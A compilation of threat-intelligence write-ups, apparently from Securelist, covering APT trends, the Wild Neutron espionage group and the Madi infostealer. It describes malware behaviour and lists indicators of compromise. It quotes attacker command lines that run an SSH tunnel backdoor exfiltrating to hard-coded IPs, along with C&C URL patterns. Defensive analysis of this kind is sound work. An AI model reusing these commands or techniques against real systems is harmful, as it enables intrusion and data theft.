One good example would be WhiteWhale, an actor that has been extremely quiet since 2016.
We detected a new campaign last April where the actor was distributing both the Taidoor and Yalink malware families.
This activity was almost exclusively targeting Japanese entities.
Following the intense diplomatic activity around the North Korea peace talks and the subsequent summit with the U.S. president in Singapore, Kimsuky decided to take advantage of this theme to distribute its malware in a new campaign.
A massive update to its arsenal in late 2017 and early 2018 was mobilized in a new wave of spear-phishing emails.
We also discovered a new low-sophistication set of activity we call Perfanly, which we couldn t attribute to any known actor.
It has been targeting governmental entities in Malaysia and Indonesia since at least 2017.
It uses custom multistage droppers as well as freely available tools such as Metasploit.
Between June and July, we observed a battery of attacks against various institutions in Kuwait.
These attacks leverage Microsoft Office documents with macros, which drop a combination of VBS and Powershell scripts using DNS for command and control.
We have observed similar activity in the past from groups such as Oilrig and Stonedrill, which leads us to believe the new attacks could be connected, though for now that connection is only assessed as low confidence.
Final thoughts 5/6 The combination of simple custom artefacts designed mainly to evade detection, with publicly available tools for later stages seems to be a well-established trend for certain sets of activity, like the ones found under the Chinese-speaking umbrella, as well as for many newcomers who find the entry barrier into APT cyberespionage activity non-existent.
The intermittent activity by many actors simply indicates they were never out of business.
They might take small breaks to reorganize themselves, or to perform small operations that might go undetected on a global scale.
Probably one of the most interesting cases is LuckyMouse, with aggressive new activity heavily related to the geopolitical agenda in Asia.
It is impossible to know if there is any coordination with other actors who resurfaced in the region, but this is a possibility.
One interesting aspect is the high level of activity by Chinese-speaking actors against Mongolian entities over the last 10 months.
This might be related to several summits between Asian countries  some related to new relations with North Korea  held in Mongolia, and to the countrys new role in the region.
There were also several alerts from NCSC and US CERT regarding Energetic Bear/Crouching Yeti activity.
Even if it is not very clear how active this actor might be at the moment (the alerts basically warned about past incidents), it should be considered a dangerous, active and pragmatic actor very focused on certain industries.
We recommend checking our latest analysis on Securelist because the way this actor uses hacked infrastructure can create a lot of collateral victims.
To recap, we would like to emphasize just how important networking hardware has become for advanced attackers.
We have seen various examples during recent months and VPNFilter should be a wake-up call for those who didnt believe this was an important issue.
We will continue to track all the APT activity we can find and will regularly highlight the more interesting findings, but if you want to know more, please reach out to us at intelreportskasperksy.com.
6/6 https://securelist.com/energetic-bear-crouching-yeti/85345/ APT Trends Report Q2 2018 Remarkable new findings Activity of well-known groups Newcomers and comebacks Final thoughts
Wild Neutron  Economic espionage threat actor returns with new tricks Indicators of Compromise (IOC) A powerful threat actor known as Wild Neutron (also known as Jripbot and Morpho) has been active since at least 2011, infecting high profile companies for several years by using a combination of exploits, watering holes and multi-platform malware.
The latest round of attacks in 2015 uses a stolen code signing certificate belonging to Taiwanese electronics maker Acer and an unknown Flash Player exploit.
Wild Neutron hit the spotlight in 2013, when it successfully infected companies such as Apple, Facebook, Twitter and Microsoft.
This attack took advantage of a Java zero-day exploit and used hacked forums as watering holes.
The 2013 incident was highly publicized and, in the aftermath, the threat actor went dark for almost one year.
WildNeutron is a powerful entity engaged in espionage, possibly for economic reasons Tweet In late 2013 and early 2014 the attacks resumed and continued throughout 2015.
Targets of the new attacks include: Law firms Bitcoin-related companies Investment companies Large company groups often involved in MA deals IT companies Healthcare companies Real estate companies Individual users The focus of these attacks suggests this is not a nation-state sponsored actor.
However, the use of zero- days, multi-platform malware as well as other techniques makes us believe its a powerful entity engaged in espionage, possibly for economic reasons.
Older (2013) campaigns During the 2013 attacks, the Wild Neutron actor successfully compromised and leveraged the website https://securelist.com/files/2015/07/5548c296-9f00-4c13-bace-71015d68f28d.ioc http://www.symantec.com/connect/blogs/morpho-profiting-high-level-corporate-attacks https://twitter.com/share?urlhttps3A2F2Fsecurelist.com2Fblog2Fresearch2F712752Fwild-neutron-economic-espionage-threat-actor-returns-with-new-tricks2Ftext23WildNeutronisapowerfulentityengagedinespionage2Cpossiblyforeconomicreasons www.iphonedevsdk[.
]com, which is an iPhone developers forum.
The attackers injected a script into the forum that redirected visitors to another website (min.liveanalytics[.
]org  currently SINKHOLED by Kaspersky Lab) that hosted a Java zero-day exploit.
A similar attack was also found in another forum dedicated to Linux developers: fedoraforum[.
]org.
For a more detailed analysis of these 2013 attacks, see Eric Romangs blog.
Other forums compromised by the Wild Neutron group and identified by reports from the Kaspersky Security Network include: expatforum.com mygsmindia.com forum.samdroid.net emiratesmac.com forums.kyngdvb.com community.flexispy.com ansar1.info In particular, two of these stand out: community.flexispy[.
]com and ansar1[.
]info.
The first one is a community ran by Flexispy, a company that sells spyware for mobile devices.
The second one is a Jihadist forum that is currently closed.
http://eromang.zataz.com/2013/02/20/facebook-apple-twitter-watering-hole-attack-additional-informations/ ansar1[.
]info was injected by Wild Neutron in 2013 Back in 2013, the attackers also leveraged a Mac OS X backdoor, known as OSX/Pintsized.
This is also described in more detail in Eric Romangs excellent blog.
The same backdoor, compiled for Win32, is still being used in the 2015 attacks.
WildNeutron is one of the most unusual APT group weve analysed and tracked Tweet Some of the more prominent victims of the 2013 attack include Twitter, Facebook, Apple and Microsoft.
These breaches were covered widely by the press and some affect companies, issued statements on the incident (see Facebooks statement).
The targeting of major IT companies like Facebook, Twitter, Apple and Microsoft is unusual, however, its not entirely unique.
The lack of victims in other sectors, such as diplomatic or government institutions, is however quite unusual.
This makes us believe this is not a nation-state sponsored attack.
Technical analysis https://kasperskycontenthub.com/securelist/files/2015/07/wild_neutron_en_1.png http://eromang.zataz.com/2013/03/24/osx-pintsized-backdoor-additional-details/ https://twitter.com/share?urlhttps3A2F2Fsecurelist.com2Fblog2Fresearch2F712752Fwild-neutron-economic-espionage-threat-actor-returns-with-new-tricks2Ftext23WildNeutronisoneofthemostunusualAPTgroupwe27veanalysedandtracked http://www.reuters.com/article/2013/02/19/us-apple-hackers-idUSBRE91I10920130219 https://www.facebook.com/notes/facebook-security/protecting-people-on-facebook/10151249208250766 The malware set used by the Wild Neutron threat actor has several component groups, including: A main backdoor module that initiates the first communication with CC server Several information gathering modules Exploitation tools SSH-based exfiltration tools Intermediate loaders and droppers that decrypt and run the payloads Although customized, some of the modules seem to be heavily based on open source tools (e.g.
the password dumper resembles the code of Mimikatz and Pass-The-Hash Toolkit) and commercial malware (HTTPS proxy module is practically identical to the one that is used by Hesperbot).
Although customized, some of the modules seem to be heavily based on open source tools WildNeutron Tweet All CC communication is encrypted with a custom protocol.
Dropped executables, as well as some of the hardcoded strings are usually obfuscated with XOR (depends on bot version).
The main backdoor module contains a number of evasion techniques, designed to detect or time out sandboxes and emulation engines.
Exploitation  2015 The initial infection vector from the 2014-2015 attacks is still unknown, although there are clear indications that the victims are exploited by a kit that leverages an unknown Flash Player exploit.
The following exploitation chain was observed in one of the attacks: Site hxxp://cryptomag.mediasource.ch/ Paths /favicon.ico /msie9html5.jpg /loader-large.gif /bootstrap.min.css /stats.js?d1434374526478 /autoload.js?styleid20langid5sid883f2efad1434374526 /banner.html?styleid19langid23sid883f2efad1434374526 /883f2efa/bniqligx.swf?styleid4langid6sid883f2efad1434374533 /883f2efa/pzixfgne?styleid5langid25sid883f2efad1434374533 /883f2efa/bniqligx.swf?styleid4langid6sid883f2efad1434374533/ /background.jpg The subdomain cryptomag.mediasource[.
]ch appears to have been created for this attack it pointed to an IP address associated with other Wild Neutron CCs, highlighted in red below: https://twitter.com/share?urlhttps3A2F2Fsecurelist.com2Fblog2Fresearch2F712752Fwild-neutron-economic-espionage-threat-actor-returns-with-new-tricks2FtextAlthoughcustomized2Csomeofthemodulesseemtobeheavilybasedonopensourcetools23WildNeutron Hosts resolving to 66.55.133[.
]89 While app.cloudprotect[.
]eu and ssl.cloudprotect[.
]eu are two known Wild Neutron CCs, cryptomag.mediasource[.
]ch appears to have been pointed to this IP for the purpose of exploitation.
Another suspicious domain can be observed above, secure.pdf-info[.
]com.
We havent seen any attacks connected with his hostname yet, however, the name scheme indicates this is also malicious.
In another attack, we observed a similar exploitation chain, however hosted on a different website, hxxp://find.a-job.today/.
In both cases, the visitors browsed the website, or arrived via what appears to have been an online advertisement.
From there, autoload.js appears in both cases, which redirects to another randomly named HTML file, which eventually loads a randomly named SWF file.
While the group used watering hole attacks in 2013, its still unclear how victims get redirected to the exploitation kits in the new 2014-2015 attacks.
Instead of Flash exploits, older Wild Neutron exploitation and watering holes used what was a Java zero-day at the end of 2012 and the beginning of 2013, detected by Kaspersky Lab products as Exploit.
Java.
CVE-2012-3213.b.
The main malware dropper The functionality of the main dropper is relatively simple: it decrypts the backdoor executable (stored as a resource and encrypted with a simple XOR 0x66), writes it to a specified path and then executes it with parameters that are hardcoded in the dropper body.
One of the parameters is the URL address of the CC server, while others contain various bot configuration options.
Example parameters used by the dropper: igfxupt.exe https://app.cloudprotect[.
]eu:443 /opts resolvlogs.cloudprotect[.
]eu https://kasperskycontenthub.com/securelist/files/2015/07/wild_neutron_en_2.png After executing the main backdoor, the dropper is securely deleted by overwriting its content with random numbers several times before renaming and removing the file.
The main backdoor (aka Jripbot) This binary is executed with the URL address of the CC server as a parameter it can also receive an optional bot configuration.
This information is then double-encrypted  first with RC4 and then with Windows CryptProtectData function  and saved to the registry.
Before performing any other activity, the malware first runs its stalling code (designed to outrun the emulators), then performs several anti-sandboxing checks and enters an infinite loop if any unwanted software running in the system is detected.
Otherwise, it gathers some basic system information: Version of the operating system If program is running under WOW64 If current user has administrator privileges Which security features of Windows are enabled Username and computer name Server name and LAN group Information about logical drives System uptime and idle time Default web browser Proxy settings Based on some of this information, malware generates a unique ID for the victim and starts the CC communication by sending the ID value and awaiting commands.
Backdoor configuration options may include proxy server address and credentials, sleeptime/delay values and connection type, but the most interesting option is the resolv[url] option.
If this option is set, the malware generates a domain name consisting of computer name, unique ID and and the URL passed with this option then it tries to resolve the IP address of this domain.
We suspect this is the method the attackers use to send the generated UID to the CC.
Commands from the CC may instruct the bot to perform following actions: Change the current directory to the requested one Execute an arbitrary command in the command line Set the autorun value for itself in the registry Delete the autorun value for itself in the registry Shred requested file (overwrite the file content with random numbers, overwrite the file name with zeroes and then delete it) Download file from the Internet and save it (optionally encrypted) to the disk Install or uninstall additional malware plugins Collect and send system information Enumerate drives Set sleeptime value Update the configuration Update itself Quit Older versions of this backdoor, used in the 2013 attacks, had a bit more functionality: Password harvesting Port scanning Collecting screenshots Pushing files to CC Reverse shell These features were removed from the newer backdoor versions that are used in recent attacks.
Instead, malware developers decided to implement a plugin mechanism and run different tools for different tasks.
This suggests a clear shift towards more flexible modular architecture.
WildNeutron hide the CC address by encrypting it in the registry with machine-dependent information Tweet In terms of functionality, the main backdoor is no different from many other Remote Access Tools (RATs).
What really stands out is the attackers carefulness to hide the CC address, by encrypting it in the registry with machine-dependent information.
Also notable is the ability to recover from a CC shutdown by contacting a dynamically generated domain name, which only the attackers know in advance, as it is directly tied to each unique victim.
According to the timestamp of the samples the distribution is as follows: https://twitter.com/share?urlhttps3A2F2Fsecurelist.com2Fblog2Fresearch2F712752Fwild-neutron-economic-espionage-threat-actor-returns-with-new-tricks2Ftext23WildNeutronhidetheC26amp3BCaddressbyencryptingitintheregistrywithmachine-dependentinformation Each backdoor appears to contain an internal version number, which ranges from 11000 to 16000 in the latest samples.
This allows us to trace the following evolutionary map: Backdoors used in the 2013 attacks: MD5 Timestamp Version Filename Size 1582d68144de2808b518934f0a02bfd6 29 Nov 2012 11000 javacpl.exe 327168 14ba21a3a0081ef60e676fd4945a8bdc 30 Nov 2012 12000 javacpl.exe 329728 0fa3657af06a8cc8ef14c445acd92c0f 09 Jan 2013 13000 javacpl.exe 343552 Backdoors used in 2014 and 2015 attacks: MD5 Timestamp Version Filename Size 95ffe4ab4b158602917dd2a999a8caf8 13 Dec 2013 14014 LiveUpdater.exe 302592 342887a7ec6b9f709adcb81fef0d30a3 20 Jun 2014 15013 FlashUtil.exe 302592 dee8297785b70f490cc00c0763e31b69 02 Aug 2013 (possibly fake) 16010 IgfxUpt.exe 291328 f0fff29391e7c2e7b13eb4a806276a84 27 Oct 2014 16017 RtlUpd.exe 253952 The installers also have a version number, which indicates the following evolution: MD5 Timestamp Version 1f5f5db7b15fe672e8db091d9a291df0 16 Dec 2011 1.4.1 48319e9166cda8f605f9dce36f115bc8 28 Sep 2012 1.5.0 https://kasperskycontenthub.com/securelist/files/2015/07/wild_neutron_en_3.png 088472f712d1491783bbad87bcc17c48 12 Apr 2013 1.6.3 ee24a7ad8d137e54b854095188de0bbf 07 Jan 2014 1.6.4 Lateral movement After installing the main backdoor and establishing initial C2 communication, the attackers use a range of different tools to extract sensitive data and control the victims machine.
These tools include a password harvesting trojan, a reverse-shell backdoor and customized implementations of OpenSSH, WMIC and SMB.
Sometimes, they only drop a simple perl reverse shell and use various collection methods to retrieve credentials from a set of machines, escalate privileges, and fan out across a network from there.
Besides these tools, there is also a number of small utility modules of different functionalities, from loaders and configuration tools, to file shredders and network proxies.
Its also worth noting that this threat actor heavily relies on already existing code, using publicly available open source applications, as well as Metasploit tools and leaked malware sources, to build its own toolset.
Some of these tools are designed to work under Cygwin and come together with the Cygwin API DLL, which may suggest that the attackers feel more comfortable when working in a Linux-like environment.
SSH tunnel backdoor During the 2014/2015 attacks, we observed the attackers deploying custom, OpenSSH-based Win32 tunnel backdoors that are used to exfiltrate large amounts of data in a reliable manner.
These tunnel backdoors are written as updt.dat and executed with two parameters, -z and -p.
These specify the IP to connect to and the port.
Despite the port number 443, the connection is SSH: /d /u /c updt.dat -z 185.10.58.181 -p 443 /d /u /c updt.dat -z 46.183.217.132 -p 443 /d /u /c updt.dat -z 217.23.6.13 -p 443 For authentication, the SSH tunnel backdoor contains a hardcoded RSA private key.
Stolen certificate During the 2015 attacks, Wild Neutron used a dropper signed with a stolen, yet valid Acer Incorporated certificate.
Acer signature on Wild Neutron dropper The abused certificate has the following properties: Serial: 5c c5 3b a3 e8 31 a7 df dc 7c 28 d5 15 8f c3 80 Thumbprint: 0d 85 91 41 ee 9a 0c 6e 72 5f fe 6b cf c9 9f 3e fc c3 fc 07 The dropper (dbb0ea0436f70f2a178a60c4d8b791b3) appears to have been signed on June 15, 2015.
It drops a Jripbot backdoor as IgfxUpt.exe and configures it to use the CC app.cloudprotect[.
]eu.
WildNeutron used a dropper signed with a stolen, yet valid Acer Incorporated certificate Tweet We have worked with Symantec, Verisign and Acer to revoke the compromised certificate.
Victims and statistics The Wild Neutron attacks appear to have a highly targeted nature.
During our investigation, we have been able to identify several victims across 11 countries and territories: https://kasperskycontenthub.com/securelist/files/2015/07/wild_neutron_en_4.png https://twitter.com/share?urlhttps3A2F2Fsecurelist.com2Fblog2Fresearch2F712752Fwild-neutron-economic-espionage-threat-actor-returns-with-new-tricks2Ftext23WildNeutronusedadroppersignedwithastolen2CyetvalidAcerIncorporatedcertificate France Russia Switzerland Germany Austria Palestine Slovenia Kazakhstan UAE Algeria United States https://kasperskycontenthub.com/securelist/files/2015/07/wild_neutron_en_6.png The victims for the 2014-2015 versions are generally IT and real estate/investment companies and in both cases, a small number of computers have been infected throughout the organizations.
The attackers appear to have updated the malware implant and deployed some additional tools, however, we havent observed serious lateral movement in these cases.
Attribution The targeting of various companies, without a government focus, makes us believe this is not a nation state sponsored APT.
The attackers have also shown an interest in investment related targets, which indicate knowledge and skills to exploit such information on the market to turn it into financial advantages.
In some of the samples, the encrypted configuration includes a Romanian language string WildNeutron Tweet In some of the samples, the encrypted configuration includes a Romanian language string, which is used to mark the end of the CC communication: Interestingly, La revedere means goodbye in Romanian.
In addition to that, we found another non- English string which is the latin transcription of the russian word  (uspeshno - successfully) this string is written to a pipe after executing a C2 command.
We found another non-English string which is the latin transcription of the russian word WildNeutron Tweet https://twitter.com/share?urlhttps3A2F2Fsecurelist.com2Fblog2Fresearch2F712752Fwild-neutron-economic-espionage-threat-actor-returns-with-new-tricks2FtextInsomeofthesamples2CtheencryptedconfigurationincludesaRomanianlanguagestring23WildNeutron https://kasperskycontenthub.com/securelist/files/2015/07/wild_neutron_en_5.png https://twitter.com/share?urlhttps3A2F2Fsecurelist.com2Fblog2Fresearch2F712752Fwild-neutron-economic-espionage-threat-actor-returns-with-new-tricks2FtextWefoundanothernon-Englishstringwhichisthelatintranscriptionoftherussianword23WildNeutron One of the samples has an internal name of WinRAT-Win32-Release.exe.
This seems to indicate the authors are calling the malware WinRAT.
More information about the Wild Neutron attribution is available to Kaspersky Intelligence Services customers.
Contact: intelreportskaspersky.com Conclusions Compared to other APT groups, Wild Neutron is one of the most unusual ones weve analysed and tracked.
Active since 2011, the group has been using at least one zero-day exploit, custom malware and tools and managed to keep a relatively solid opsec which so far eluded most attribution efforts.
Their targeting of major IT companies, spyware developers (FlexiSPY), jihadist forums (the Ansar Al-Mujahideen English Forum) and Bitcoin companies indicate a flexible yet unusual mindset and interests.
Some of groups distinctive features include: Use of open source tools and leaked sources of other malware Use of stolen certificate from Acer Incorporated to sign malware Use of cross platform zero-day exploit (Java and Flash) followed by cross platform payload reverse shell (Perl) for initial penetration Use of NIX code ported to Windows through Cygwin Heavy use of SSH for exfiltration, a commonly used NIX administration tool Use of CryptProtectData API to keep CC URLs secret Simple command line interface, built around all malware components, utilizing named pipes for communication between modules Auxiliary tools are written in C and most of them contain a built-in help, which may be printed by executing the binary with a pleh parameter We continue to track the Wild Neutron group, which is still active as of June 2015.
Kaspersky products detect the malware used in the attacks as: HEUR:Trojan.
Win32.WildNeutron.gen, Trojan.
Win32.WildNeutron.,
Trojan.
Win32.JripBot.,
HEUR:Trojan.
Win32.Generic Read more about how Kaspersky Lab products can help to protect you from Wild Neutron threat actor here: Wild Neutron in the wild: perhaps youre his next prey Indicators of Compromise (IOCs) Known malicious hostnames and domains: https://business.kaspersky.com/wildneutron-in-the-wild-perhaps-youre-his-next-prey/4169 ddosprotected.eu updatesoft.eu app.cloudprotect.eu fw.ddosprotected.eu logs.cloudprotect.eu ssl.cloudprotect.eu ssl.updatesoft.eu adb.strangled.net digitalinsight-ltd.com ads.digitalinsight-ltd.com cache.cloudbox-storage.com cloudbox-storage.com clust12-akmai.net corp-aapl.com fb.clust12-akmai.net fbcbn.net img.digitalinsight-ltd.com jdk-update.com liveanalytics.org min.liveanalytics.org pop.digitalinsight-ltd.com ww1.jdk-update.com find.a-job.today cryptomag.mediasource.ch Known malicious IPs: 185.10.58.181 46.183.217.132 64.187.225.231 62.113.238.104 66.55.133.89 217.23.6.13 Known file names: APPDATA\Roaming\FlashUtil.exe APPDATA\Roaming\Acer\LiveUpdater.exe APPDATA\Roaming\Realtek\RtlUpd.exe ProgramData\Realtek\RtlUpd.exe APPDATA\Roaming\sqlite3.dll (UPX packed) WINDIR\winsession.dll APPDATA\appdata\local\temp\teamviewer\version9\update.exe SYSTEMROOT\temp\_dbg.tmp SYSTEMROOT\temp\ok.tmp C:\windows\temp\debug.txt C:\windows\syswow64\mshtaex.exe SYSROOT\System32\mshtaex.exe SYSROOT\System32\wdigestEx.dll SYSROOT\System32\dpcore16t.dll SYSROOT\System32\iastor32.exe SYSROOT\System32\mspool.dll SYSROOT\System32\msvcse.exe SYSROOT\System32\mspool.exe C:\Program Files (x86)\LNVSuite\LnrAuth.dll C:\Program Files (x86)\LNVSuite\LnrAuthSvc.dll C:\Program Files (x86)\LNVSuite\LnrUpdt.exe C:\Program Files (x86)\LNVSuite\LnrUpdtP.exe DF39527.tmp Named pipes: \\.\pipe\winsession \\.\pipe\lsassw Events  mutexes: Global\LnrRTPDispatchEvents _Winlogon_TCP_Service
The Madi infostealers - a detailed analysis On 17 July, we published a blog about Madi and the ongoing campaign used to infiltrate computer systems throughout the Middle East that has targeted users in Iran, Israel, Afghanistan and other individuals scattered across the globe.
Here is the follow up with a detailed analysis of the infostealer used in the campaign.
Installation The infostealer is installed by one of the various downloaders used in the attacks, which can be separated into two categories: Downloaders using the social engineering techniques described in our first blog post (displaying pictures, movies, documents etc.)
to trick the user Downloaders that simply download and install the infostealer Both types of downloaders copy themselves as UpdateOffice.exe into the Printhood directory, e.g.
: C:Documents and SettingsUSERPrintHoodUpdateOffice.exe where they start executing.
Both the infostealer and downloaders create fake files with random names in their respective folders.
The downloaders also drop some files which assist the malware (see our first blog for details).
Only one file will be used by the infostealer: nam.dll.
This file is created by the downloader in the Templates directory (e.g.
: C:Documents and SettingsUSERTemplatesnam.dll) and contains a BOT prefix/build that will be used by the infostealer when connecting to the command and control server (CC).
In order to download and install the infostealer, the downloaders connect to the CC server to request an HTM page.
Older variants use http://[CC address]/ASLK/khaki/Abi/UUUU.htm, whereas more recent ones use http://[CC address]/ASLK/asgari/mah/UeUeUeUe.htm.
The HTM page is a copy of Google index, with a double BASE64 encoded executable embedded in the page: http://www.securelist.com/en/blog/208193677/The_Madi_Campaign_Part_I The keyword tamamshodfile at the bottom will be explained in the Infostealer analysis section below.
The downloaders simply parse the HTM file, and decode the Base64 payload twice and save the resulting PE file as iexplore.exe in the Templates directory.
Once downloaded, the infostealer is executed.
Infostealer analysis: Iexplore.exe All the versions of the infostealer have an Internet Explorer icon, and were written in Delphi.
The version used in this article, which appears to have been compiled on 10 June 2012, is packed using UPX 3.08.
The file is rather big: 415 KB packed, and 1.14 MB once unpacked.
One peculiarity of the infostealer used in the Madi campaign is the heavy use of Delphi Timers.
There are 52 of them as you can see on the screenshot below: .
Numerous bugs were discovered during the analysis of the infostealer.
Some of them wont be discussed here as we dont want to help the authors improve their malware.
TForm4.FormCreate: Upon execution, the first activity of interest performed by the infostealer happens inside TForm4.FormCreate.
It starts with the setup of a keylogger.
In order to do so, Madi infostealer uses the Windows function SetWindowsHookEx with the WH_KEYBOARD_LL Id_Hook.
Once the keylogger has been installed, the infostealer reads the nam.dll file (dropped by the downloader) to get the BOT prefix and concatenates it with the computer name.
Hereafter this will be referred to as BOTID_TMP.
The final BOTID contains some numbers derived from the C: Volume Serial Number, as we will see later on.
The following timers are then disabled in this specific order: Timer1, Timer16, Timer18, Timer17, Timer20, Timer19, Timer24, Timer8, Timer30, Timer31, Timer33, Timer34, Timer36, Timer37, Timer38, Timer39, Timer40, Timer41, Timer44, Timer45, Timer46, Timer48, Timer49, Timer50.
The malware uses a lot of external files to receive commands, which is another indicator of poor programming skills.
Those files are used to inform the malware about the infection status.
In order to avoid confusion, hereafter, when referring to a file, it is in the malware directory (Templates directory), unless stated otherwise.
The infostealer looks for the following files: fsdiskget.dll: If found, it enables Timer 23  otherwise, disables it.
nrbindek.dll : If found, it enables Timer 28  otherwise, disables it.
specialfile.dll: If found, it deletes it.
filesend.xls: Doesnt actually look for it just tries to delete it.
begirnagir.htp : If NOT found, it disables Timer3 filebind.xls: If found, it enables Timer29  otherwise, disables it.
Next, Timer14 and Timer13 are both disabled.
The Trojan looks for First.dll, which is created the first time the malware is executed.
If already present, the code returns from TForm4.FormCreate.
Otherwise, the following happens.
It creates first.dll with a hardcoded stream of bytes (not a real .dll, like the .dll mentioned above, as we will see later on when we analyze the timers more closely).
Like the downloaders, the infostealer also generates fake files with random names.
Before returning from TForm4.FormCreate, 6 loops will be executed: XLS: 51 fake XLS files with random names (7 characters) are generated using a hardcoded stream of bytes.
EXE: 51 fake EXE files with random names (6 characters) are generated using a hardcoded stream of bytes.
DLL: 201 fake DLL files with random names (9 characters) are generated using a hardcoded stream of bytes.
TXT: 51 fake TXT files with random names (4 characters) are generated using a hardcoded stream of bytes.
XML: 51 fake XML files with random names (8 characters) are generated using a hardcoded stream of bytes.
HTM: 51 fake HTM files with random names (8 characters) are generated using a hardcoded stream of bytes.
Keylogger analysis: As mentioned before, the keylogger setup is done in the TForm4.FormCreate.
It uses SetWindowsHookEx with the WH_KEYBOARD_LL Id_hook to intercept keystrokes.
The hook function is rather rudimentary.
For instance, it uses the GetAsyncKeyState, with the VK_BACK to find out if the victim used backspace.
For each typed key, there is a handler to save which key was typed in the keylogger buffer poki65_pik_log: It comes as no real surprise that the keylogger is very basic and makes no use of any advanced technologies.
The malware uses 52 timers.
Therefore, we will group them by actions, in order to make the overall analysis easier to follow.
Command and control: Protocol We are now going to cover all the timers responsible for contacting the CC server and receiving commands to execute on the infected machine, and all the various handlers used to execute actions according to those orders.
Note: In many routines, Madi creates .bat files in order to ping the CC server to see if it is up or not and saves the result in a special file.
Each file has a different name.
If these files are referenced, we will provide the timer number responsible for its creation.
The server manager looks like this: The GUI was probably rushed, but it serves its purpose.
It can be used to create specific tasks for victims.
See Timer 12 to see how each command is handled by the infostealer.
Timer 1: Check-in Interval: 25 seconds Before receiving commands, the infostealer connects to the CC to a special page.
I call it the check-in routine.
Here is the description: Timer 1 gets the ApplicationName and concatenates it with .pkklm (See Timer 15 description for details on how this file is created).
It tries to open that file, looking for the Reply From string (when the IP responds to a ping).
If its not found, it disables Timer 1 and returns.
If present, the last part of the BOTID is generated using the C: Volume Serial Number.
Basically, the API function GetVolumeInformationW is called to get the Volume Serial Number, which is then concatenated to the BOTID_TMP generated in the TForm4.FormCreate.
Now that the final BOTID has been generated, the final URL that is visited is generated as follows: BOTIDCOMPUTERNAMEVolumeSerialNumber/dastor/file.htm e.g.
: abaanu5MYCOMPUTER- 8712422C6D8704FE/dastor/file.htm The final URL is visited using Internet Explorer (IE) instrumentation.
(
e.g.
: http://CC/abaanu5MYCOMPUTER-8712422C6C7704EF/dastor/file.htm) Once visited, it enables Timer 18, disables Timer 1 and returns.
This is the checking-in process, which can tell the attackers when a victim computer is ready to receive commands.
Once the attackers have decided to send commands to the infected computer, a das.htm will be available in the /dastor/ folder.
Timer 16: Visit commands page Interval: 25 seconds Timer 1 gets the ApplicationName and concatenates it with .pkxm (ping results from Timer 11).
It tries to open that file, looking for the Reply From string (when the IP responds to a ping).
If its not found, it disables Timer 16 and returns.
The Final BOTID is computed (see Timer 1 description) to build the URL that is visited in order to receive commands.
Before visiting that URL, the dast.xls file is deleted (see Timer 17 below).
The URL is visited using IE instrumentation.
Timer 17 is enabled, and Timer 16 disabled.
Timer 17: Save the command page as dast.xls Interval: 20 seconds Note: During the execution of the Madi infostealer, many instances of IE are running.
Timer 17 will go through all the different instances of instrumented IE, looking for pages with dastor in their title.
Once found, the content of the page (without the title) is saved as dast.xls.
If nothing is found, it will go to next IE instance, and repeat the checks until no instances are left.
If nothing is found, a clean-up routine is launched.
At the end of the Timer 17, it looks for  - dastor - Windows Internet Explorer and different variants (Internet Explorer) and sends a WM_Close Message using the PostMessageW function in order to close the page.
Among all those captions, it also looks for  - 404 - File or directory not found and variants of 404 pages, if the page wasnt found.
Once the clean-up is completed, Timer 17 disables itself and returns.
At this point, we have a local file with the commands to execute on the infected machine.
Timer 12: Command dispatcher This timer is responsible for parsing the command file.
In order to make the description a little easier to follow, here is a sample command file: When executed, Timer 12 is disabled.
The infostealer Trojan then checks if the file dast.xls is present (created by Timer 17, see above).
If its not present, Timer 12 is re-enabled and returns.
The next stage of the process opens dast.xls which searches for commands to execute (see the command file above).
Lots of commands can be sent simultaneously, meaning Timer 12 will not stop parsing when one command is found.
Here is the full logic of the parsing: PIK: If the command file contains the word pik, it checks if the status of Timer 3 is enabled.
(
Timer 3 is a webmail, social network and IM screen capture routine.)
If not enabled, Timer 3 is enabled, and screen monitoring begins.
Command parsing continues.
If the pik command is not found, Timer3 is disabled.
DESK: If the command file contains the word desk, it checks if the status of Timer 13 is enabled.
(
Timer 13 is a screen capture routine.)
If not enabled, Timer 13 is enabled, and screen monitoring begins.
Command parsing continues.
If the desk command is not found, Timer13 is disabled.
SOUND: If the command file contains the word sound, it checks if the status of Timer 14 is enabled.
(
Timer 14 is a sound recording routine.)
If not enabled, Timer 14 is enabled, and sound recording begins.
Command parsing continues.
If the sound command is not found, Timer14 is disabled.
If the command file contains the word newfi, nothing happens.
This is probably a leftover from older code.
UPDATE: If the command file contains the word update, it checks to see if it also contains a version number, which must be different from current version (1.1.6 in the analyzed sample).
If neither of those two conditions are valid, it goes to the next command parsing.
The checking routine is very simplistic and assumes that the version number will be higher, not lower.
It is therefore possible to downgrade the Trojan.
If the required update criteria are met, it will create Update.dll.
(
Update.dll is made from a hardcoded stream of bytes and isnt a valid DLL.)
The Trojan now locates the STARTUP folder where a copy of the UpdateOffice.exe (Trojan downloader) is found, and executes it using ShellExecute.
(
In the first part of the article, we explained how the downloader downloads and installs the infostealer.)
The Trojan downloader is necessary in order for updates to occur.
If the downloader has been deleted for some reason, the update wont be performed.
Once executed, Timer 12 terminates its execution, as the infostealer executable (iexplore.exe) will be overwritten by the Trojan downloader with a newer version and executed.
DELETE: If the command file contains the word delete, it will create delete.dll, using exactly the same stream of bytes that is used in update.dll.
The Trojan now locates the STARTUP folder where a copy of the UpdateOffice.exe downloader is located, and deletes it.
Once deleted, it then proceeds to terminate itself.
At this point, upon the next reboot, the infection isnt restarted.
Note: The infostealer doesnt restart by itself, allowing an automatic update every time the computer reboots.
On the other hand all the other downloader files (non-malicious) are still present in the /printhood/ folder.
The full folder of the infostealer is still present, as is the malware.
BIND: If neither update nor delete are found, Timer 12 checks if the command file contains the word bind and creates nrbindek.dll using exactly the same stream of bytes that is used in update.dll.
Nothing else happens at this point.
However, as we have seen in the Form creation, upon execution, the malware checks whether nrbindek.dll is present.
If it is present, Timer 12 will enable Timer 28.
If bind isnt found, the parsing continues with the next command.
DISKGO: If the command file contains the word diskgo, it will create lbdiskgo.dll, using exactly the same stream of bytes that is used in update.dll.
Parsing continues with next command.
Note: lbdiskgo.dll is checked by Timer 42 and Timer 43.
DISKGET: If the command file contains the word diskget, it will create fskdiskget.dll, using exactly the same stream of bytes that is used in update.dll and enable Timer 23.
Timer 12 then checks whether specialfile.dll is present.
If NOT, it will look for the file extensions included in the command that was received.
The attackers select from a list of 27 extensions that are provided by the CC server, and which can be selected using a Remote Control Tool (see at the beginning of the Timer 12 description to view the extensions listed in the sample command file).
Each file extension is separated by a special marker .. Timer 12 searches for the .
marker.
If its not present, the parsing stops there.
If the marker is present, it saves those extensions to the specialfile.dll and enables Timer 26.
